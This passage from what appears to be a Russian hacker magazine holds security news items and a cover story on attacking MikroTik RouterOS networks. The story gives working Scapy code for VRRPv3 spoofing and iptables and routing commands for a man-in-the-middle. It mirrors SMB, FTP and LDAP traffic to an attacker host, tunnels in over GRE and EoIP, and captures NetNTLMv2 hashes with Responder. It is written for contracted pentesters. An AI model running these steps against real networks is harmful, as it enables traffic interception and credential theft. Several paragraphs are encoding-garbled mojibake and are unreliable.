áûòü ìàêñèìàëüíî áûñòðîé.
Ìû àâòîìàòè÷åñêè áàíèëè êîíòåíò ñîòåí òûñÿ÷ ôàéëîâ. Ìû çàï-
ðåùàëè èìåíà ôàéëîâ è çàïðåùàëè êîíêðåòíûå ïàòòåðíû èñïîëü-
çîâàíèÿ, ñâÿçàííûå ñî çëîóïîòðåáëåíèÿìè. Äîøëî äî òîãî, ÷òî íàñ
íå âîëíîâàëî, åñëè â ïðîöåññå ìû ñëó÷àéíî ïîëó÷àåì òûñÿ÷è ëîæíûõ
ñðàáàòûâàíèé è óäàëåíèé.
Íî äàæå ïîñëå âñåãî ýòîãî êîëè÷åñòâî çëîóïîòðåáëåíèé íå óìåíü-
øèëîñü.
Ýòî íå òà ðàáîòà, êîòîðóþ ìû ïðåäñòàâëÿëè ñåáå, êîãäà áðàëèñü
çà ýòî. À íåäàâíî íàø ïðîêñè ïðîâàéäåð íàñ îòêëþ÷èë.
Òàê áîëüøå ïðîäîëæàòüñÿ íå ìîæåò.
Äîìåí ïðîäàåòñÿ».
»
ХАКЕРОВ ТОЖЕ ВЗЛАМЫВАЮТ
Эксперты Hudson Rock изучили около 100 хакфорумов и обнаружили, что сами злоумышленни-
ки нередко становятся жертвами: их системы заражает вредоносное ПО, похищая учетные дан-
ные от сайтов для киберпреступников.

Всего было обнаружено около 100 000 взломанных компьютеров, принадлежащих хакерам,
а количество учетных данных от разных хакфорумов превысило 140 000.

Оказалось, что более 57 000 скомпрометированных пользователей имели аккаунты в сооб-


ществе nulled[.]to для начинающих киберпреступников. На второе и третье места попали
чуть менее популярные хакерские сайты cracked[.]io и hackforums[.]net.

Утекшие пароли от форумов для киберпреступников чаще оказывались более надежными, чем
учетные данные для государственных сайтов.

Самые надежные пароли из всех изученных продемонстрировали участники хакфорума


Breached: более 40% учетных данных здесь имеют длину не менее 10 символов и содержат
символы четырех типов.

Продолжение статьи →
← Начало статьи

MICROSOFT
НЕ ПРОДЛИТ
ЛИЦЕНЗИИ

Компания Microsoft сообщила российским клиентам, что лицензии на продук-


ты и решения компании не будут продлеваться после 30 сентября 2023 года.
Уже активные лицензии продолжат действовать и после этой даты, но только
до конца оставшегося срока.
В распоряжении СМИ оказалось письмо от службы поддержки Microsoft
Online Services, направленное одному из клиентов. Оно гласит, что пос-
ле 30 сентября текущего года российские корпоративные клиенты не смогут
продлить подписку.

Microsoft поясняет, что больше не может принимать платежи на местный бан-


ковский счет в качестве оплаты своих услуг в России. Поэтому компания
за 60 дней уведомляет клиента о том, что после 30 сентября продлить сущес-
твующие подписки уже не получится, а активные лицензии продолжат
работать лишь до истечения их срока.

« «Microsoft ïðèîñòàíàâëèâàåò çàïóñê íîâûõ ïðîäóêòîâ, ïðîäàæó ñåð-


âèñîâ è ìíîãèå äðóãèå àñïåêòû ñâîåé äåÿòåëüíîñòè â Ðîññèè â ñîîò-
âåòñòâèè ñ ñàíêöèÿìè ñî ñòîðîíû Åâðîñîþçà, Âåëèêîáðèòàíèè
è ÑØÀ», — ïðîêîììåíòèðîâàëè â êîìïàíèè èçäàíèþ Forbes.

Собственные источники издания в IT-отрасли отметили, что сейчас долю


»
Microsoft в госсекторе, в компаниях с госучастием и среди корпоративных
клиентов можно оценить в 80%, хотя еще год назад она составляла око-
ло 90%, а два года назад — 95–96%.
Заместитель председателя комитета Госдумы по информационной
политике, информационным технологиям и связи Андрей Свинцов заявил
СМИ, что, по его мнению, «в ближайшие полгода-год все российские аналоги
будут доработаны и постепенно будет проведено импортозамещение».

« «Åùå êàêîé òî ïåðèîä áîëüøèíñòâî ïðîãðàììíûõ ïðîäóêòîâ


[Microsoft] áóäóò ïðîäîëæàòü ðàáîòàòü, ïðîñòî áåç îáíîâëåíèé. Ïîíÿò-
íîå äåëî, ÷òî íàøè ñïåöèàëèñòû ïðàêòè÷åñêè óæå âñå ïðîãðàììíûå
ïðîäóêòû ðàñïàðîëèëè, è èìè óæå ìîæíî ïîëüçîâàòüñÿ ïî ñåðîé ñõå-
ìå. Áîëüøîå êîëè÷åñòâî îòå÷åñòâåííûõ ïðîãðàììíûõ ïðîäóêòîâ óæå
âíåäðÿåòñÿ ïîâñåìåñòíî. Íà ñåãîäíÿøíèé äåíü íå âñå åùå ôóíêöèè,
àíàëîãè÷íûå çàïàäíûì ïðîäóêòàì, åñòü, íî ïî êðàéíåé ìåðå áàçîâî
óæå ïîëüçîâàòüñÿ ìîæíî», — çàÿâëÿåò äåïóòàò.
»
ТРАФИК С РФ ВЫРОС В 11 РАЗ
В середине августа Минцифры опубликовало проект стратегии развития отрасли связи
до 2035 года. Согласно этому документу, объем интернет-трафика в интернете в России
в 2022 году вырос более чем в 11 раз в сравнении с 2012 годом и достиг почти 124 эксабайт.

Изначально (в 2012 году) трафик составлял 11,1 эксабайт. То есть более чем за десять лет
измерений трафик вырос свыше чем в 11 раз, а в год он рос в среднем на 27%.

Эксабайт равен десяти в 18-й степени, то есть квинтиллиону байт.

БЕЗЛИМИТНОГО
DROPBOX НЕ БУДЕТ

До недавнего времени в Dropbox можно было подключить безлимитный


тарифный план Dropbox Advanced для бизнеса, стоимостью 24 доллара
в месяц. Этот тариф предоставлял неограниченный объем хранилища, чтобы
бизнес-пользователи могли не беспокоиться о лимитах. К сожалению, теперь
от этого решено отказаться, так как некоторые пользователи активно зло-
употребляли возможностями Dropbox Advanced.
Компания сообщает, что перестанет предоставлять неограниченное хра-
нилище данных потому, что люди часто покупают аккаунты Dropbox Advanced
«для таких целей, как майнинг криптовалют и Chia, объединение хранилищ
для личных нужд не связанных между собой лиц и даже для перепродажи».
Dropbox объясняет, что такие клиенты использовали в тысячи раз больше
дискового пространства, чем настоящие бизнес-клиенты.
Чтобы не тратить ресурсы на борьбу со злоупотреблениями, Dropbox вво-
дит ограничение в 15 Тбайт для организаций с тремя и менее пользовате-
лями. Сверх этого лимита на каждого пользователя может быть добавлено
еще 5 Тбайт, а максимальный размер хранилища теперь составля-
ет 1000 Тбайт на организацию.
Новых пользователей изменения коснутся сразу, а существующие поль-
зователи будут постепенно переведены на новые тарифные планы с 1 ноября
текущего года, о чем их уведомят не менее чем за 30 дней до перехода.
Чтобы помочь настоящим бизнес-клиентам перейти на новый режим
работы, Dropbox анонсирует, что клиенты, использующие менее 35 Тбайт
дискового пространства на одну лицензию, смогут сохранить прежний объем
хранилища, а также получат еще 5 Тбайт в течение пяти лет без дополнитель-
ной оплаты.

TELEGRAM ОБОШЕЛ «ВКОНТАКТЕ»


Согласно статистике Mediascope, этим летом Telegram обогнал «Вконтакте» по размеру днев-
ной аудитории в России, установив новый рекорд.

В июле 2023 года показатель дневной аудитории Telegram составил 54,3 миллиона человек,
то есть на 1,7 миллиона больше, чем у «Вконтакте» (52,6 миллиона).

По сравнению с июнем за месяц аудитория Telegram выросла на 2,4 миллиона человек


(4,6%).

Таким образом, Telegram и «Вконтакте» в России обгоняют YouTube по среднесуточному охвату.

Тем не менее месячная аудитория YouTube все же остается самой большой — в июле она пре-
высила 95,5 миллиона человек. Для «Вконтакте» этот показатель составляет 87,6 миллиона
пользователей, для Telegram — 81,2 миллиона.

WINRAR АТАКУЮТ

В августе в WinRAR был обнаружены и исправлены сразу две уязвимости,


одна из которых представляла собой 0-day, то есть уже использовалась
хакерами.
Первая уязвимость, CVE-2023-40477, позволяла добиться выполнения
произвольного кода в целевой системе, и для эксплуатации проблемы дос-
таточно было вынудить жертву открыть архив RAR.

« «Íåäîñòàòîê ñâÿçàí ñ îáðàáîòêîé òîìîâ âîññòàíîâëåíèÿ (recovery


volumes), — ïèñàëè ñïåöèàëèñòû Zero Day Initiative, îáíàðóæèâøèå
áàã. — Ïðîáëåìà âîçíèêàåò èç çà îòñóòñòâèÿ íàäëåæàùåé ïðîâåðêè
ïðåäîñòàâëÿåìûõ ïîëüçîâàòåëåì äàííûõ, ÷òî ìîæåò ïðèâåñòè ê îáðà-
ùåíèþ ê ïàìÿòè çà ïðåäåëàìè âûäåëåííîãî áóôåðà».

Поскольку атака все же требует взаимодействия с пользователем (ведь цель


»
должна открыть архив), уязвимость набрала 7,8 балла из 10 возможных
по шкале оценки уязвимостей CVSS, то есть не считается критической. Одна-
ко обманом вынудить пользователя открыть архив не так уж сложно, а учи-
тывая огромный объем пользовательской базы WinRAR, уязвимость может
представлять большую опасность.
Вторая уязвимость, CVE-2023-38831, оказалась проблемой нулевого дня.
По информации Group-IB, проблема активно использовалась злоумышленни-
ками для установки малвари, а для эксплуатации бага достаточно было
вынудить жертву открыть безобидный файл из архива (в формате JPG, TXT
и других).
Исследователи рассказали, что хакеры использовали уязвимость с апре-
ля 2023 года, чтобы распространять различные семейства вредоносных
программ, включая DarkMe, GuLoader и Remcos RAT.
В основном атаки были обнаружены на форумах, посвященных торговле
криптовалютами. Там хакеры притворялись энтузиастами, делящимися сво-
ими торговыми стратегиями с другими трейдерами. К сообщениям злоумыш-
ленники прикладывали ссылки на специально подготовленные архивы
WinRAR, которые якобы содержали детальную информацию о торговой стра-
тегии (PDF, текстовые файлы и изображения).

Вредоносные архивы распространялись как минимум на восьми открытых


трейдерских форумах, и с их помощью были заражены устройства
не менее 130 пользователей. При этом общее число жертв этой кампании
и их финансовые потери пока неизвестны.
Открывая вредоносный архив, жертвы видели лишь набор безобидных
на первый взгляд файлов, включая уже упомянутые PDF, текстовые файлы,
а также изображения в форматах JPG, PNG и прочих.
Но если пользователь кликал на такой PDF или картинку, благодаря уяз-
вимости CVE-2023-38831 запускался скрипт для установки малвари.
При этом скрипт также загружал и показывал пользователю документ-фаль-
шивку, чтобы не вызывать подозрений.

В итоге скрипт использовался для запуска самораспаковывающегося (SFX)


CAB-архива, который заражал компьютер малварью (DarkMe, GuLoader
и Remcos RAT), обеспечивая злоумышленникам удаленный доступ к заражен-
ному устройству и позволяя похитить криптовалютные активы жертвы.
Обе описанные выше проблемы были устранены в начале августа, когда
компания RARLAB выпустила обновленный WinRAR 6.23. Теперь пользовате-
лям WinRAR рекомендуется как можно скорее установить эту версию, чтобы
защититься от возможных атак.

Ученые нашли способ автоматизировать создание вредоносных запросов для чат-ботов


с искусственным интеллектом

CISA, АНБ и ФБР составили список самых эксплуатируемых уязвимостей

Атака позволяет восстанавливать данные по звуку нажатий клавиш

SentinelOne: северокорейские хакеры взломали «НПО машиностроения», производящее ракеты

0-day-уязвимости под общим названием BitForge угрожают криптовалютным кошелькам

Подростки взломали транспортные карты метро Бостона, вдохновившись атакой 2008 года

Discord(.)io подтвердил утечку данных 760 тысяч пользователей

«Ростелеком» тестирует внутренний сервис для доступа к YouTube

Microsoft добавляет поддержку Python в Excel

Tor-сервисы защитят от атак при помощи proof-of-work


COVERSTORY

ПЕНТЕСТИМ СЕТЕВОЕ
ОБОРУДОВАНИЕ
MIKROTIK

Это авторское исследование о безопас-


ности оборудования MikroTik с точки зрения
атакующего. Оборудование MikroTik крайне
популярно и нередко становится жертвой
разных атак. Я сделаю акцент на постэкс- Caster
Network Security Expert
плуатации. Также затрону проблему @wearecaster

безопасности защитных механизмов


RouterOS, недостатками которых пользуют-
ся атакующие.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

ÏÐÎÁËÅÌÛ ÑÅÒÅÂÎÉ ÁÅÇÎÏÀÑÍÎÑÒÈ

У RouterOS есть несколько проблем сетевой безопасности. Давай пос-


мотрим, на какие из них стоит обратить внимание в первую очередь.

DAI
RouterOS не в состоянии защитить сеть от ARP Spoong за исключением
использования режима reply-only в конфигурации bridge. По факту этот
режим работы представляет собой статическую ARP-таблицу, которую в кор-
поративных сетях вести нерентабельно, так как при появлении каждого
нового хоста придется заходить на устройство и заносить MAC и IP вручную.
Способ действенный, однако малопривлекательный из-за больших
неудобств. Поэтому, встретив оборудование MikroTik, атакующий в большинс-
тве случаев может не отказывать себе в ARP-спуфинге: ему не стоит ожидать
внезапной тревоги ARP Inspection, ведь этого механизма в RouterOS, по сути,
нет.

RA Guard
RA Guard представляет собой функцию безопасности, которая отсекает
несанкционированные router advertisements внутри сети с целью предотвра-
щения MITM-атак. RA Guard полностью отсутствует в RouterOS и Switch OS,
оборудованию абсолютно нечем ответить на популярный инструмент пен-
тестеров — mitm6. Единственный вариант, который остается, — фильтровать
на уровне бриджа по MAC-адресам назначения.
Почему у девайсов MikroTik нет таких важных функций безопасности —
непонятно. Такое ощущение, что их ПО застряло в девяностых.

Àáüþç DP
RouterOS по умолчанию выполняет рассылку Discovery-протоколов, которые
могут раскрыть чувствительную информацию о себе потенциальному ата-
кующему. В RouterOS активны три Discovery-протокола:
• CDP (Cisco Discovery Protocol);
• LLDP (Link Layer Discovery Protocol);
• MNDP (MikroTik Neighbor Discovery Protocol).

Атакующий может получить чувствительную информацию в виде версии про-


шивки, адресации, имени устройства, номера модели оборудования MikroTik.
Вектор крайне специфический, однако все же может применяться.

Пример захваченного MNDP-трафика

ÑÏÓÔÈÍÃ Â ÑÈÑÒÅÌÅ ÐÅÇÅÐÂÈÐÎÂÀÍÈß VRRPV3

VRRP (Virtual Router Redundancy Protocol) — это протокол резервирования


маршрутизаторов на уровне L3, в его основе лежит принцип создания вир-
туального маршрутизатора за счет объединения физических маршрутиза-
торов в одну логическую группу. Затем созданному виртуальному роутеру
присваивается IP-адрес, который, в свою очередь, назначается как шлюз
по умолчанию для конечных станций.
По своему опыту скажу, что в RouterOS в большинстве случаев исполь-
зуется конфигурация VRRPv3 по умолчанию, администраторы в основном
настраивают только приоритет и номер группы, а версию и аутентификацию
обычно не затрагивают. Это и открывает дорогу для эксплуатации со стороны
атакующего.
Ниже — пример такой конфигурации по умолчанию.

Конфигурация VRRPv3 по умолчанию

Спуфинг MASTER-роли в VRRP приводит к MITM-атаке в отношении целой


подсети, что может быть очень критично во время пентеста. Становится воз-
можным перехват чувствительных данных, атака Evil Twin, даже Relay-атаки
против сетей Windows.

Ïåðå÷èñëåíèå èíôîðìàöèè
Прежде чем использовать другие техники, нужно провести перечисление
информации о домене VRRP. Нужны данные об используемом виртуальном
адресе, наличии аутентификации, номере группы VRRP и значении приори-
тета.
Вот пример пакета VRRP. В контексте домена VRRP-пакеты отправляет
только MASTER-устройство.

Захваченный VRRPv3-пакет

Здесь мы видим, что:


• используется третья версия VRRP;
• отсутствует аутентификация (типично для VRRPv3);
• номер группы VRRP — 1;
• приоритет — 190.

Èíúåêöèÿ
Главный аспект этой атаки — инъекция вредоносного пакета VRRPv3 с мак-
симальным значением приоритета. Есть даже такая практика безопасности,
где рекомендуется ставить наивысший приоритет 255, однако для VRRP мож-
но установить такое значение максимум до 254, так как значение 255 уходит
занимаемому мастеру. После такой инъекции атакующий перехватывает роль
MASTER и начинает сам обслуживать трафик сети. Даже несмотря на то, что
возникает MITM, нельзя нарушать нормальное функционирование сети,
а поэтому придется поработать над схемой маршрутизации на хосте ата-
кующего.
В качестве лабораторного стенда выступает следующая сеть.

Схема лабораторной сети с VRRPv3

Саму инъекцию я сделал с помощью Scapy, мне понадобился модуль scapy.


layers.vrrp для работы с протоколом VRRP. Пакет будет выглядеть пример-
но следующим образом. Оставлю акцент на значениях именно слоя VRRPv3.
На самом деле это часть кода всего спуфера, функция inject принимает
входные данные на основе аргументов (я использовал библиотеку argparse).

def inject(interface, group, attackerip):


L2frame = Ether()
L3packet = IP(src=args.attackerip, dst="224.0.0.18", ttl=255)
vrrpv3inj = VRRPv3(version=3, type=1, vrid=args.group, priority=
255, ipcount=1, addrlist=['10.10.100.254'])
crafted = L2frame / L3packet / vrrpv3inj
sendp(crafted, iface=args.interface, inter=1, loop=1, verbose=1)

Здесь
• type=1 значит, что этот VRRP-пакет выполняет роль объявления
Advertisement;
• priority=255 — максимальный приоритет для инъекции;
• ipcount=1 — количество IP-адресов у MASTER-устройства. Атакующий
будет владеть только одним IP-адресом;
• addrlist=['10.10.100.254'] указывает на то, каким IP-адресом
будет владеть атакующий при перехвате MASTER-роли, оформляется
в виде списка в коде на Python;
• inter=1 — пакет VRRPv3 будет генерироваться каждую секунду, посколь-
ку легитимный девайс тоже отправляет их каждую секунду. Грубо говоря,
это специальные Hello-сообщения, которые оповещают, что MASTER
в порядке и продолжает свою работу. Однако, если в течение трех секунд
сообщения не последует, один из резервных роутеров заменит MASTER;
• loop=1 указывает на то, что пакет будет отправляться бесконечно.

GARP-êàäð
Когда роутеры меняются ролями, они отправляют специальные сообщения
Gratuitous ARP, которые объявляют на весь VLAN, что возникла новая привязка
IP и MAC-адреса, специальная модификация ARP-кадра. Когда новое устрой-
ство становится MASTER, ему необходимо объявить это и на уровне ARP,
с помощью GARP-рассылки. Атакующему тоже предстоит это сделать, чтобы
избежать DoS. Для этого у меня есть инструмент Cruelty, который генерирует
и отправляет необходимые кадры GARP.

caster@kali:~$ sudo python3 Cruelty.py --interface ethX --mac XX:XX:


XX:XX:XX:XX --gateway X.X.X.X

Óêëîíåíèå îò òðàññèðîâêè
Со стороны пользовательского компьютера можно определить атакующего
в тот момент, когда он проводит трассировку. Атакующий может избежать
этого, если сместит TTL с инкрементом +1 в таблице Mangle и в цепочке
PREROUTING.

caster@kali:~$ sudo iptables -t mangle -A PREROUTING -i ethX -j TTL


--ttl-inc 1

Ïðîáëåìà àñèììåòðè÷íîé ìàðøðóòèçàöèè


Во время MITM-атаки возникает асимметричная маршрутизация — явление,
при котором трафик отправляется одним путем, а возвращается другим.
Это может привести к тому, что атакующий пропустит мимо себя другую
половину трафика, потенциально потеряв чувствительные данные. Чтобы
решить эту проблему, необходимо специальное правило MASQUERADE в таб-
лице NAT, в цепочке POSTROUTING.

caster@kali:~$ sudo iptables -t nat -A POSTROUTING -o ethX -j


MASQUERADE

Прохождение трафика при асимметричной маршрутизации

Прохождение трафика после MASQUERADE на стороне атакующего

Ìàðøðóòèçàöèÿ
После инжекта необходимо заняться небольшим роутинг-менеджментом.
Сперва нужно удалить старый маршрут по умолчанию (для атакующего
это был 10.10.100.254). Так как атакующий стал новым MASTER-маршрутиза-
тором, мы — владельцы этого виртуального адреса (10.10.100.254), но при
старом маршруте весь трафик замыкается на нашей ОС, что без допол-
нительной мороки вызывает DoS на легитимные хосты. Пропишем новый
маршрут по умолчанию через 10.10.10.100 (это бывший MASTER-роутер),
но даже несмотря на то, что мы отжали у него роль MASTER, он все равно
сможет выполнить маршрутизацию трафика, куда нам нужно.

caster@kali:~$ sudo route del default


caster@kali:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.
100.100

Также надо создать на интерфейсе вторичный адрес со значением VRRP


Virtual IP Address (10.10.10.254). Опять же после атаки мы стали владельцами
этого адреса.

caster@kali:~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.


255.0

Èìïàêò
После всех этих манипуляций атакующий воспроизводит MITM и может прос-
лушивать трафик внутреннего сегмента, в котором сам и находится.
Облегчить поиск учетных данных в трафике может инструмент Pcredz:

caster@kali:~/mikrotiknightmare/Pcredz$ sudo python3 Pcredz -i eth0

Перехваченный NetNTLMv2-SSP пользователя claymore

Также важно, чтобы твое железо выдержало такую нагрузку: учитывай мощ-
ности процессора и скорость интерфейса. Такой спуфинг приводит к тому,
что весь трафик подсети пойдет в твою сторону. Также можешь не бояться
за чистоту этой атаки. Когда ты прекратишь VRRP-инъекцию, легитимные
VRRP-роутеры снова проведут согласование и сеть вернется на круги своя.
Да и Dead Timer в сетях VRRP обычно очень маленький, сеть быстро восста-
новится, и будет назначен легитимный MASTER.

Читай также мою статью «Caster Remix. Используем виртуальный MikroTik


для постэксплуатации Windows». В ней я предлагаю новый способ организа-
ции быстрого L2-туннелирования против машин Windows. Главный элемент
этой техники — виртуальный маршрутизатор MikroTik CHR, возможности
которого позволяют обеспечить перемещение по сети.

ROUTEROS TRAFFIC HIJACKING

Я покажу специфический вектор атаки при постэксплуатации, при котором


атакующий может перехватывать трафик внутри инфраструктуры, не влияя
на нормальную работу сети.

GreenDog — Easy Hack #196 (Caster Bootleg)


Исследователь безопасности Алексей Тюрин в своем релизе Easy Hack #196
продемонстрировал технику перехвата трафика с устройств Cisco с исполь-
зованием SPAN. SPAN — это по факту аналог Packet Sniffer в RouterOS
и выполняет те же функции, однако при настройке классического SPAN
на коммутаторе: порт перестает работать в обычном режиме, из-за чего
у атакующего теряется связность с сетью. Решение проблемы — исполь-
зовать ERSPAN, который позволяет не только зеркалировать трафик, но и
отправлять его куда угодно поверх GRE-инкапсуляции (0x88BE). Однако
ERSPAN доступен только на оборудовании Cisco и в Linux.

Описание этой техники от GreenDog

Но я нашел такой же вектор против RouterOS. Я буду использовать Packet


Sniffer, который может выполнять зеркалирование трафика с любых
интерфейсов RouterOS. Импакт здесь в том, что атакующий может прос-
лушать чувствительную информацию, передаваемую внутри сети (например,
SMB, FTP, LDAP). Развить атаку можно откуда угодно: зеркалированный тра-
фик все равно сможет достичь хоста атакующего, так как используется TZSP-
инкапсуляция, то есть зеркалированный трафик может передаваться поверх
соединений L3.

TZSP
TZSP (Tazmen Sniffer Protocol) — сетевой протокол инкапсуляции, который
может заворачивать в себя другие сетевые протоколы, грубо говоря —
обрамляет полезную нагрузку. Обычно используется в сетях 802.11, может
работать с IDS. TZSP использует для инкапсуляции протокол UDP, значит,
не исключены потери. TZSP способен инкапсулировать сетевой трафик,
начиная с уровня L2, то есть может передавать Ethernet-фреймы.
Вот небольшой пример инкапсулированного FTP-трафика с TZSP.

FTP-трафик под TZSP-инкапсуляцией

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

ПЕНТЕСТИМ СЕТЕВОЕ ОБОРУДОВАНИЕ


MIKROTIK

Packet Sniffer из RouterOS как раз таки и использует TZSP для инкапсуляции
полезной нагрузки. Именно благодаря этому зеркалированный трафик может
передаваться поверх L3-соединений.

Óãîí òðàôèêà
Для такой атаки злоумышленник должен определить следующие параметры:
• IP-адрес streaming-сервера, куда будет поступать зеркалированный тра-
фик;
• целевые интерфейсы, с которых будет проводиться зеркалирование;
• номер порта того протокола, которым интересуется атакующий.

Я для примера рассматриваю сценарий, при котором атакующий перех-


ватывает трафик со всех интерфейсов, но только трафик протоколов SMB,
FTP, LDAP. При этом, конечно, желательно зеркалировать трафик, так как,
если зеркалировать всё подряд, это может создать большую нагрузку на сеть
и та может выйти из строя.
Конфигурация Packet Sniffer будет выглядеть следующим образом:

[caster@MikroTikNightmare] /tool/sniffer> set streaming-enabled=yes


filter-stream=yes streaming-server=10.10.100.90 filter-interface=all
filter-port=ftp,smb,ldap
[caster@MikroTikNightmare] /tool/sniffer> start

Здесь 10.10.100.90 — IP-адрес атакующего хоста. Трафик будет зеркалиро-


ваться со всех интерфейсов, зеркалируются только SMB, FTP и LDAP.

Схема зеркалирования

Îáðàáîòêà TZSP-çàãîëîâêîâ
После запуска сниффера зеркалируемый трафик будет поступать
на интерфейс атакующего хоста, однако трафик необходимо обработать,
срезать TZSP-заголовки, поскольку нужды в них больше нет и они могут дос-
тавить хлопот.
Для этого есть инструмент tzsp2pcap. Он позволяет удалять TZSP-заголов-
ки и экспортировать трафик в формате pcap. В данном примере я буду
использовать Wireshark, в котором внедрю полученный трафик без заголов-
ков TZSP:

caster@kali:~$ tzsp2pcap -f | wireshark -k -i -

Для демонстрации я инициировал подключение по FTP, чтобы проверить


работоспособность такого вектора. Итог — на скриншоте.

Таким образом атакующий может перехватывать трафик внутри инфраструк-


туры, при этом не создавая избыточный хоп. Снова довольно специфический
вектор, но он имеет право на существование.

ROUTEROS PIVOTING

Настало время поговорить о пивотинге сквозь RouterOS. Это вектор постэкс-


плуатации, при котором атакующий может пробиться внутрь инфраструктуры.

L3 GRE VPN
Один из вариантов для пивотинга — использовать протокол GRE.
Это протокол туннелирования L4, который позволяет быстро организовать
соединения site-to-site VPN. Получил известность благодаря тому, что настра-
ивается быстро и очень просто. Разработан инженерами Cisco Systems,
однако поддерживается любым вендором. По умолчанию GRE не предос-
тавляет функций для шифрования трафика внутри туннеля. Поэтому если он
и используется в продакшене, то, скорее всего, с группой протоколов IPSec.
При постэксплуатации RouterOS атакующий может воспользоваться GRE-
туннелированием, чтобы попасть внутрь инфраструктуры. Этот сценарий
работает именно с пограничным маршрутизатором.
Примерно так будет выглядеть карта пивотинга. Атакующий должен уста-
новить GRE-туннель между своей нодой и RouterOS, затем на логических
интерфейсах необходимо настроить внутренние IP-адреса для сетевой связ-
ности. Затем, после перечисления таблицы маршрутизации, атакующий
может создать специальные маршруты, ведущие внутрь инфраструктуры,
и при этом шлюзом для таких маршрутов будет выступать другая сторона
GRE-туннеля.

GRE между атакующим и RouterOS

А это пример инкапсулированной полезной нагрузки. Здесь атакующий про-


водит ICMP-сканирование внутренней сети 10.10.160.0/24 поверх GRE-тун-
неля. Тут можно увидеть GRE-инкапсуляцию с внутренним IPv4-заголовком
ICMP. Однако по факту здесь присутствуют два заголовка IPv4. Почему?
Потому что первый IPv4-заголовок с белыми IP-адресами — это пакет-курь-
ер. Он позволяет достичь адресата, находящегося во внутренней сети. То
есть главная задача этого заголовка в том, чтобы полезная нагрузка из внут-
ренней сети дошла до адресата через интернет. В терминологии GRE такой
заголовок называется Delivery Header. Для каждого протокола-пассажира
присутствует специальный Protocol Type, для IPv4 это значение равно 0x0800.

ICMP-сканирование внутри GRE-туннеля

Настройка на стороне атакующего будет выглядеть следующим образом.


Создание GRE-интерфейса, настройка адресов начала и терминирования
туннеля и сама активация интерфейса с внутренней IP-адресацией.

caster@kali:~$ sudo ip link add name evilgre type gre local 212.100.
144.150 remote 100.132.55.140
caster@kali:~$ sudo ip addr add 10.10.10.1/24 dev evilgre
caster@kali:~$ sudo ip link set evilgre up

Настройка RouterOS тоже не вызывает проблем — тот же принцип, отличия


лишь в синтаксисе:

[pwned@BORDER] > /interface/gre add name=gre1 local-address=100.132.


55.140 remote-address=212.100.144.150
[pwned@BORDER] > /ip/address add address=10.10.10.2/24 interface=gre1

После установки туннеля атакующий должен создать специальные маршруты


сквозь RouterOS, а именно через 10.10.10.2. В контексте нашего лаборатор-
ного стенда за пограничным RouterOS находятся три подсети:
• 10.10.120.0/24;
• 10.10.140.0/24;
• 10.10.160.0/24.

caster@kali:~$ sudo route add -net 10.10.120.0 netmask 255.255.255.0


gw 10.10.10.2
caster@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0
gw 10.10.10.2
caster@kali:~$ sudo route add -net 10.10.160.0 netmask 255.255.255.0
gw 10.10.10.2

Теперь атакующий может взаимодействовать с внутренней инфраструктурой


и расширять свое присутствие в сети цели. Вот пример Nmap-сканирования
против сети 10.10.140.0/24:

caster@kali:~$ sudo nmap -n 10.10.140.0/24 -vvv

Результат сканирования атакующего поверх GRE

На самом деле это не последний вектор туннелирования. Есть еще EoIP, он


позволяет транслировать Ethernet-фреймы внутри GRE, а это вектор для L2-
туннелирования.

L2 EoIP VPN
Это специфический вектор, при котором атакующий строит L2-туннель сквозь
скомпрометированную RouterOS между своим хостом и находящейся по ту
сторону сетью.
EoIP (Ethernet over IP) — это проприетарный протокол MikroTik, позволя-
ющий строить L2-туннели поверх интернета, но для этого используется GRE-
инкапсуляция. По факту EoIP — это абсолютно то же самое, что и GRETAP-
интерфейсы на Linux, различия лишь в Proto Type (для EoIP в GRE это зна-
чение 0x6400, для GRETAP-туннелей — 0x6558).
При постэксплуатации RouterOS атакующий может построить L2-туннель
между собой и целевым бриджем с помощью EoIP, однако для работы EoIP
в дистрибутивах Linux нужен модуль eoip. Атакующему достаточно создать
EoIP-интерфейс в RouterOS, затем поместить его внутрь бриджа (в 90% слу-
чаях в конфигурациях RouterOS используются бриджи).
На своей стороне атакующему достаточно собрать модуль из репозитория
и запустить интерфейс, при этом создав TAP-интерфейс для корректной
работы модуля от katlogic.
Схема туннелирования будет выглядеть следующим образом.

Карта EoIP-туннелирования

Атакующий из интернета может оказаться в целевой сети на уровне L2, но это


крайне специфический сценарий и имеет право на существование только
в момент постэксплуатации.
Настройки на стороне атакующего выглядят следующим образом: соз-
дается TAP-интерфейс, запускается модуль, туннелю задается ID 11.

caster@kali:~$ sudo ip tuntap add mode tap tap0


caster@kali:~$ sudo ip link set tap0 up

caster@kali:~/eoip$ sudo ./eoip tap0 100.132.55.100 212.100.144.100:


11

На стороне RouterOS идентичная ситуация, но при этом нужно поместить соз-


данный EoIP-интерфейс в существующий бридж внутри RouterOS для получе-
ния L2-доступа.

[caster@MikroTikNightmare] /interface/eoip> add name=nightmare local-


address=212.100.144.100 remote-address=100.132.55.100 tunnel-id=11
[caster@MikroTikNightmare] /interface/bridge/port> add interface=
nightmare bridge=LAN-BR

Туннель EoIP уже установлен, задача атакующего — получить адрес на TAP-


интерфейсе, после чего он может взаимодействовать с целевой сетью и про-
водить атаки канального уровня. Причем по DHCP может передаться адрес
шлюза по умолчанию из другой сети, а это нарушает сетевую связность, так
что этот маршрут нужно будет удалить:

caster@kali:~$ sudo dhclient -v tap0; sudo route del default

Теперь атакующий может проводить L2-атаки. Вот пример работы Responder


внутри EoIP-туннеля:

caster@kali:~$ sudo responder -I tap0 -vvv

Перехваченный NetNTLMv2-SSP пользователя user

ÂÛÂÎÄÛ

На этом мы заканчиваем рассмотрение атак на сети на основе оборудования


MikroTik. Техники необычные, но могут оказаться кстати в определенных ситу-
ациях. В следующем материале поговорим о defensive — то есть настройках,
которые предотвратят подобные атаки.
COVERSTORY

ЗАЩИЩАЕМ ОБОРУДОВАНИЕ
MIKROTIK ОТ ХАКЕРСКИХ АТАК

Устройства MikroTik можно часто встретить


в корпоративных сетях, однако конфиги
в большинстве случаев оставляют желать
лучшего и открывают возможность
для целого ряда атак. В этой статье я рас- Caster
Network Security Expert
